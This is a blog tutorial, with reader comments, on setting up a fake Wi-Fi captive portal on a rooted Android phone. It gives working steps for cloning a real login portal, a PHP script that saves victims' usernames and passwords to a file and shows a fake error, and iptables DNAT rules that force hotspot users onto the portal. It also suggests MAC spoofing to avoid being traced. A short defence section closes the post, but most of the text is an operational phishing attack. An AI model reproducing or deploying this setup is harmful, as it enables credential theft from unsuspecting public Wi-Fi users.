How To: Fake Captive Portal with an Android Phone

Fake Captive Portal with an Android Phone

Have you ever used an open wifi, which after you connect displays a website to enter your credentials to get internet? That website is called captive portal and widely used in airports, hotels, universities etc. Have you ever wondered what would happen if someone would set up an open wifi with the same name displaying a very similar web page asking for credentials? Usually if there are multiple wifi networks with the same name and encryption, devices only display the one with the highest signal strength (this is useful for big networks like a hotel or a university). And since the user is expecting a website asking for their credentials, they would be happy to insert it, and voilà the attacker got their credentials. What could be even more scary (and fun)? For this attack it's enough to have a rooted android phone, and nothing else. I will show you how to do it. Of course everything written here is only for educational and research purpose. I show it mainly to make people realize how vulnerable the captive portals are and that you should be very careful when you use them.

Quick overview of the steps:

  1. Install the web server on your phone
  2. Clone the captive portal and edit it
  3. Write the php script to save the credentials
  4. Create the 404 redirect page and configure the web server
  5. Set up some iptable rules to redirect people to the captive portal
  6. Test if everything works

Step 1: Install the Web Server

Install a web server on your phone. I used the Palapa Web Server (free from Google Play), but probably any other with php would work as well. In the Web Server Settings configure it to 'Use Root Access' (it's needed to be able to run on port 80), and also give it root permissions when your superuser app asks for it. Then still in the Web Server Settings go the the Components / Lighthttpd. Here change the Port to 80.

Test: Now connect your phone to the wifi and start the web server (there is a big button under the Web Server menu). Here you should also see the IP of the webserver, something like this:,, You will need to use the second one (usually starting with 192.168, but not necessarily). Just type in your browser on the computer connected to the same network as the phone. It should display the default page of Palapa Web Server. If you can see it, you are done with the first step.

Step 2: Clone the Captive Portal

Since we need the copy of the legit captive portal we will clone it. It also has to be modified a bit to save the credentials for us and display some error message to the user (since they never going to get internet from us).

So first go to the captive portal page (in my example and just save it. It depends on the browser, but usually there is an option under File menu like 'Save page' or 'Save page as'. It will create an html file (form.html) and a folder named 'form files' or similar. This folder contains the external files used by the website like pictures, style sheets (css) and JavaScripts (js). Also note the url of the captive portal, we will need it later.

But we have a problem here. The website right now sends the credentials to the legit server and not stores it for us. Let's fix this ;) You need some basic html and php for this, so if you don't understand something, I suggest you to take a look at the W3 School's HTML and PHP tutorials. It will be also useful for your future anyhow.

So first of all try to remove every JavaScript, if there are any. Basically look for the html tags <script> and </script> and delete them together with the included code. Now save and check your website if it still looks the same (if not, redo it and either edit the JavaScript manually or just leave it there, hopefully it won't hurt).

Now try to locate the form for the username and password. Find the <form ...> html tag, but be careful there may be more then one form on the site. Your form tag will look like something similiar: <form name="myform" method="post" action="">. You want to edit the action property. If it's not presented, add it manually, otherwise change it to action="login.php".

Also look into the submit button, especially if you had to delete some JavaScript. It may look something like this: <input type="button" tabindex="3" name="Submit" id="submitid" value="Login" onclick="submitAction();"> As you can see from the onclick property it clearly called a JavaScript function, which is not there any more. So replace the onclick with type="submit" like this: <input type="button" tabindex="3" name="Submit" id="submitid" value="Login" type="submit">. In this way if the user clicks on this button, it will submit the form and send it to the login.php.

Also note the names of the input fields. Between the <form..> tag and the submit button there has to be other <input...> tags like this: <input size="19" name="login_passwd" type="password">. Find the ones for the username and for the password and note their name property (in this case login_passwd).

Now we are done with the html page. Save and open it in your browser, if it looks OK, move on the next step.

Step 3: Write the Php Script to Save the Credentials

The php script will be very simple. Open a text editor (notepad, gedit, nano whatever), insert the following code and save it as login.php:

$credential = $_POST'login_username'."\t".$_POST'login_passwd'."\n";
file_put_contents('credentials.txt', $credential, FILE_APPEND);
<pre>Unknown error. Please disconnect and reconnect to the wifi.</pre>

First we collect the data we want to save. Do you remember the names for the username and password input? Good, we need those now. You can access the parameters sent by the form with $_POST'login_passwd'. Don't forget to replace login_passwd with the name of your input. The . operator just concatenate the username, a tab, password and a newline. The second line of the code appends the $credential variable to the end of the credentials.txt file. Important! The file has to be created in advance, so let's create an empty file now and name it to credentials.txt. We are basically done with saving the credentials, now it's good to display some error message for the user to keep him busy and don't make him suspicious.

Step 4: Create the 404 Redirect Page and Configure the Web Server

The normal captive portal system redirects every request to the portal, so we have to do the same. Let's create a new file, name it 404.php and insert the following content: <?php header("Location: "); ?> Note, that you have to insert the original url of your captive portal and only replace the part with the ip of your phone (in my case, but it will be different for you - see step 1. Also don't forget to change https to http, more about it later).

Now we have to copy all our files to the web server. Palapa Web Server stores the files under /sdcard/pws/www/ so let's go there. Copy the 404.php in the www folder, but wait a bit with the others. As you can see in my example the original captive portal url ended like /captive/form.php, so we have to imitate the same. Let's create a folder captive and copy the other files (form.html, form files, login.php, credentials.txt) into that. But we still have a problem, originally form.html was named form.php. So let's rename it to form.php.

You also have to configure the web server to use the 404.php as its 404 page. Let's open the mobile app, go to Web Server Settings, select Lighttpd and 'Edit config'. Insert the following line (I inserted it after the 4th line, but it should work everywhere): server.error-handler-404 = "/404.php" and save it. You should also disable directory listing, so do it now (it's under Web Server Settings, Lighttpd).

Test: Now restart your webserver and try to access the ip of your phone from the browser again (in my case It should be instantly redirected to and you should be prompted with the login page. Insert some data and press enter. You should see the error message your wrote previously, and if you go to you should be able to see what you just entered.

Step 5: Set Up Some Iptable Rules to Redirect People to the Captive Portal

So you have your captive portal running, but it's only assessable through the ip of your phone. If you would turn on the hotspot on your phone, people connecting to it would get internet and they won't be redirected to the captive portal. Let's fix it! First turn on the wifi hotspot on your phone. Name and encryption doesn't matter now, we only need the IP of the phone while it's acting as a hotspot. So if the hotspot is running, open Palapa Web Server and check it's IP as previously. You will need the second IP again (the one after For me it was, for you it's probably different, but it usually ends to 1. Note it, and turn off the hotspot.

So what happens when a person tries to access a website?

  1. User types the name of the site in the browser (let's say and presses enter.
  2. The browser sends a DNS query to the DNS server to get the IP of the website: "Where can I find"
  3. The DNS server respondes with the IP: " is at"
  4. The browser connects to the IP ( on port 80 and request the website: "Hey, send me the website"
  5. The server sends the website to the browser: "Here it is"
  6. Browser displays the website

Now how captive portals work usually? They usually responds to every DNS request with their own IP address, and thus responding to every website with their own. For this we would need a DNS server running on the phone, what I could not find. So I chose a different way: let's turn on mobile data, and let the DNS request and response happen, but when it tries to connect to the server by IP simply redirect this request to the IP of the phone and so respond with the captive portal. So the first 4 steps are the same, but the 4th step "Hey, send me the website" is answered by the web server running on the phone with the captive portal.

To do this we need to set up some iptables rules. First download an app to edit the iptable. I used iptables by su but probably any other program would work too. Of course this app also needs root permissions. Now let's add the following rules line by line starting with the first one:

iptables -A FORWARD -p udp --dport 53 -j ACCEPT
iptables -A FORWARD -p udp --sport 53 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination
iptables -P FORWARD DROP

So iptable works like this: it tries to match the first rule to the packet, if it matches, iptable applies the given action (ACCEPT or DROP) and quits. If the first rule doesn't match on the packet, iptable tries the second, then the third and so on. So with the first rules you define which packets you allow, then create a drop all rule, it will only drop the packets not defined before (since if one rule matches, iptable quits).

The first two rules allows DNS request and response (UDP protocol, to and from port 53 (destination and source port)). The third rule defines that if a packet is coming toward port 80 (normal http), then reroute it to (of course you want to change this IP to the IP of your phone while it's a hotspot as noted in the beginning of this step). In the end drop every other package. I used the FORWARD option, so I can still access the web normally from my phone, and only the packets coming from devices connected to the hotspot will be dropped.

If you mistype a rule, you can always clear all of them with the command iptables -F, and also if you reboot your phone it will be cleared (and also if you put it in aeroplane mode). For more about iptables see this and this article.

Now edit the 404.php to redirect people to the original captive portal url ( ) instead of the one with IP ( Also note, that in my example the original website used https, but I'm using http. This is because I don't have the SSL certificate for, so I could not set up an https website with this url. But since users never look at the beginning of the url, they will never notice this slight difference. (Although it may stop password managers from inserting the password automatically, tough not in all cases.)

Step 6: Test if Everything Works

So since you are giving access to your own mobile data, you must be very careful. First of all set up the hotspot and connect to it from your computer. Test the desired functionality: if you access any http website, it should redirect you to the captive portal. In case of https websites you should not be able to access it at all. You should also test if saving the credentials still works. Now since the redirection you can access your credentials.txt under The domain itself ( doesn't matter (as long as it exists), since it will be answered by your own web server.

But testing the functionality is not enough. What if some other program (eg Dropbox) can still use your mobile data? So let's start WireShark on the computer which is connected to the hotspot and start capturing on the wifi interface. You should see basically 3 type of traffic:

  1. DNS Standard query & DNS Standard query response
  2. HTTP packets containing either the redirection or the captive portal (right click>follow tcp stream and you should see the source code)
  3. HTTPS SYN packets without any answer

You may see some other traffic (like Dropbox Lan discovery), but that's also ok. Just make sure you don't have a big amount of traffic (like https) going to the internet.

Possible Future Improvements:

  • Change MAC address - if you want to use this captive portal, people may get suspicious and they may record your mac address to find you later (though I don't think it would be too likely). There are multiple applications on Google Play which can change your MAC address, but for me they didn't work, so I can not say if they also change your MAC address as hotspot, or only as wifi client. You have to figure it out.
  • Dedicated DNS server - it would be nice to write a DNS server running on the phone and so you would not need to keep mobile data on. I found this code which could be a good starting point.
  • Provide internet - if you have unlimited mobile data and don't want to make your targets suspicious you can provide them internet after the captive portal. See this tutorial for the necessary iptable rules. In this case you would instantly become man-in-the-middle, which also has some advantages.

Protection Against This Attack

If you are a sysadmin, don't use captive portal. Use Radius or something similar. If you are a user and you are forced to use it, always check it if it's https (it's almost impossible to fake an https website without the certificate), or simply just insert a fake password first. If it says 'wrong password' than you may trust it (although it's pretty easy for the hacker to answer 'wrong password' to every first attempt and only display the error message at the second).

So congratulations, you are done :) I hope you like it. I consider myself as a beginner in hacking, so I probably made some mistakes. If you find any, report it and I will fix it. Also if you have any further question, don't hesitate to comment below. I will do my best to make you understand it.

Stay hungry, stay safe
Your General Gamma

Just updated your iPhone? You'll find new features for Podcasts, News, Books, and TV, as well as important security improvements and fresh wallpapers. Find out what's new and changed on your iPhone with the iOS 17.5 update.


I'm kinda stuck at the first step. Although I tapped the PLAY icon which can be gathered from the visual, but it says 'Stopped' in the webserver info next to Status. Plus there's no IP which is to be used as a URL. It does show 2 IPs in the DB settings namely the local host and one with the 192.168 prefix. But that's not we are looking for, right? We are supposed to be concerned with the IP that appears under the webserver info, aren't we? I have done all the necessary stuff you taught in the first step but still I keep encountering the same situation every time.

Plus can you teach me a little bit on how is the COMPUTER (connected to the same network as the android phone) supposed to open up the palapa webserver page once we get the IP and insert it in the browser? I mean what goes on in the background.

Awaiting response.
Thankyou :')


That's a strange error. The screen you sent is the one which should display the IP, and also as Status it should say Running. Are you sure that the app has root rights? You can change the port back to some high number (like 1235), and see if it can start with that. (Root is only needed to run the webserver on low ports like 80.) Also you may want to check the logs under /sdcard/pws/logs/lighttpd.log, maybe they tell us something about the problem.

And the IP of the database server is the same as the web server's, but since the web server is not running yet, you can not access it probably.

About your other question. If you start the webserver on your phone, it will listen to requests on port 80. When you type in its IP in the browser, the browser sends a request to that IP on port 80 asking for a website. The web server gets this request and answers it with the website. That how the whole internet works basically. Since it's in your internal network your router probably blocks every external connection, but otherwise it would be available on the internet. You may also want to see this article on basic networking and look into these videos to understand how the internet works:

Hello, I was wondering if I could do this from Kali Linux running on an Android smartphone, and where I could start to look for information relating to this.

Thanks for the post


Well probably you can do it from there. You only need a webserver with php support and edit the ip tables rules (probably on kali you don't need a separate app for that, you can just simply enter the iptables command in Terminal, and it should work - as they did here.)

The other parts of the tutorial (editing the captive portal, writing php code) is the same for you.

i Did all the steps below , but it doesnt redirect website to my captive portal, when i do ip like it redirects to the captive , but when i do like it doesnt work , got a rooted android and done all this , any toughts?

Complete articlec OP. Added to bookmarks. My phone running on kitkat. Its rooted, but still i am not able to run palapa or any lighthttpd on port 80. They run great with ports above 1024. I am getting unable to bind to port 80 error. Is there any way i could do that ? Which android version you tested this on? Thanks. Kevin.

Can you upload video of this tutorial?
I'm stuck at the first step.

Thanks for the great article!
Is there any way to keep iptable changes saved after phone reboot?

It only works when I visit the phones IP directly ( or any ip address like

But when i connect a device there is no captive portal. and when going to there is just an error. this is useless!!

I'm not and don't want to use mobile data cause that's dumb, shouldn't need that. no sim on my old phone that im using for this

Share Your Thoughts

  • Hot
  • Latest